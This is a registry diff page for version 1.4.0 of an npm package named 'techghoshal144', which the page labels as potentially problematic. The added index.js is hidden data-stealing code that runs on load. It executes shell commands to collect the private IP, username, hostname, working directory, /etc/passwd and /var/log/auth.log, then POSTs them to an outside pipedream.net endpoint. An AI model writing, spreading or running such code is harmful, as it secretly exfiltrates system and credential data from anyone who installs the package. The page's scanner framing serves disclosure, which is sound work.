techghoshal144 1.4.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of techghoshal144 might be problematic. Click here for more details.
- package/index.js +40 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
|
2
|
+
const execSync = require('child_process').execSync;
|
3
|
+
|
4
|
+
const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
|
5
|
+
const whoami = execSync('whoami', { encoding: 'utf-8' });
|
6
|
+
const host = execSync('hostname', { encoding: 'utf-8' });
|
7
|
+
const current_dir = execSync('pwd', { encoding: 'utf-8' });
|
8
|
+
const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
|
9
|
+
const auth = execSync('cat /var/log/auth.log ', { encoding: 'utf-8' });
|
10
|
+
|
11
|
+
|
12
|
+
const https = require("https")
|
13
|
+
|
14
|
+
const data = JSON.stringify({
|
15
|
+
"private IP": priv_ip,
|
16
|
+
"whoami": whoami,
|
17
|
+
"hostname": host,
|
18
|
+
"current dir": current_dir,
|
19
|
+
"passwd": passwd,
|
20
|
+
"auth.log": auth
|
21
|
+
|
22
|
+
|
23
|
+
|
24
|
+
|
25
|
+
})
|
26
|
+
|
27
|
+
const options = {
|
28
|
+
hostname: "eoubo9wfyehgrtu.m.pipedream.net",
|
29
|
+
port: 443,
|
30
|
+
path: "/",
|
31
|
+
method: "POST",
|
32
|
+
headers: {
|
33
|
+
"Content-Type": "application/json",
|
34
|
+
"Content-Length": data.length,
|
35
|
+
},
|
36
|
+
}
|
37
|
+
|
38
|
+
const req = https.request(options)
|
39
|
+
req.write(data)
|
40
|
+
req.end()
|
package/package.json
ADDED